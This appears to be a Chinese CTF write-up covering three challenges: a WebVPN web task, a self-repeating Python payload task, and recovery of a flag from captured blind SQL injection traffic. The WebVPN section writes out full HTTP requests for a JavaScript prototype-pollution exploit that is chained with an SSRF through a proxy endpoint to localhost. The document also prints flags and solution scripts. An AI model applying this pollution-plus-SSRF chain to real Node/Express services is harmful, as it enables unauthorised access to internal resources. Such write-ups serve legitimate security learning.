

# WEB

## WebVPN

网页版代理，获取flag的路径是先完成登录，可在源码中找到user信息，包含username和password

然后通过 `POST /user/info` 利用update函数基于js原型链污染来使strategy带上目标

因为proxy的判定是基于 `.hostname`，所以只需带上 `127.0.0.1` 即可 如果是 `127.0.0.1:3000` 会导致服务器端返回的header出现错误，返回500而非flag

Request			Response			
P	Raw	Hex	Pretty	Raw	Hex	Render
1	POST /user/info	HTTP/1.1	1	HTTP/1.1	200 OK	
2	Host: 139.196.183.57:30758		2	X-Powered-By: Express		
3	Content-Length: 56		3	Content-Type: text/plain; charset=utf-8		
4	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0		4	Content-Length: 2		
5	Content-Type: application/json		5	ETag: W/"2-n009QitiwXqNcVcBjezz8kv3SLc"		
6	Accept: */*		6	Date: Sun, 18 Feb 2024 09:19:47 GMT		
7	Origin: http://139.196.183.57:30758		7	Connection: close		
8	Referer: http://139.196.183.57:30758/		8			
9	Accept-Encoding: gzip, deflate		9	OK		
10	Accept-Language: zh-CN, zh;q=0.9, en;q=0.8, en-GB;q=0.7, en-US;q=0.6					
11	Cookie: my-webvpn-session-id=558383ac-e34a-4432-912c-720195e76680=s13A3f-uRy-H9wsQXP_UShorSG35QF6UKOI.mvBdOTY1QQzZHAwyNChAtSRGiRwIFwMI1xjwXvqUXBo					
12	Connection: close					
13						
14	{					
15	"constructor":{					
16	"prototype":{					
17	"127.0.0.1":true					
18	}					
19	}					
20	}					

完成污染后利用proxy访问flag

Request			Response			
Pretty	Raw	Hex	Pretty	Raw	Hex	Render
1	GET /proxy?url=http://127.0.0.1:3000/flag	HTTP/1.1	1	HTTP/1.1	200 OK	
2	Host: 139.196.183.57:30758		2	x-powered-by: Express		
3	Upgrade-Insecure-Requests: 1		3	content-type: application/octet-stream		
4	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0		4	content-length: 48		
5	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7		5	etag: W/"30-gN+f3Loc+HKX6lphLYgcL2bvU6U"		
6	Referer: http://139.196.183.57:30758/		6	set-cookie: my-webvpn-session-id=558383ac-e34a-4432-912c-720195e76680=s13Ay9QhnpLgdEdE6NOTXRUT19ha2JWd3Np90.xnFGtRJS1uBgLS01yovyonC3leJjezEGKsw1v1		
7	Accept-Encoding: gzip, deflate		7	date: Sun, 18 Feb 2024 09:20:06 GMT		
8	Accept-Language: zh-CN, zh;q=0.9, en;q=0.8, en-GB;q=0.7, en-US;q=0.6		8	connection: close		
9	Cookie: my-webvpn-session-id=558383ac-e34a-4432-912c-720195e76680=s13A3f-uRy-H9wsQXP_UShorSG35QF6UKOI.mvBdOTY1QQzZHAwyNChAtSRGiRwIFwMI1xjwXvqUXBo		9	127.0.0.1: true		
10	Connection: close		10			
11			11	hgame(e6562dcd8dc8a94e8f4bc52461c8434a5c83be3c)		
12			12			

# MISC

## 与ai聊天

反向复读，这样子肯定不是ai，检索到 [hackergame2020-自复读的复读机](#)

```
# 正向自复读: _=_('_%r;print (%%_);print (%%_)

#payload
_=_(')]1-::[_%_(tnirp;%r=_(');print(_%_[:-1])
```

## Blind SQL Injection

分析流量可知是sql盲注的记录，分析request可找出字符串各个位置上的值，目标应该是password字段  
先将host导出，比对 geek 得出查询规律，大脑分析得出password的字符串，逆序输出转化后结果

```
Astr = "125 102 50 102 97 56 50 57 53 99 56 51 100 45 54 99 97 98 45 56 57 101 52  
45 53 50 55 49 45 55 101 102 97 98 97 98 99 123 103 97 108 102 44"  
  
Alist = Astr.split()  
flag = ''.join([chr(int(char)) for char in reversed(Alist)])  
print(flag)  
  
# ,flag{cbabafe7-1725-4e98-bac6-d38c5928af2f}
```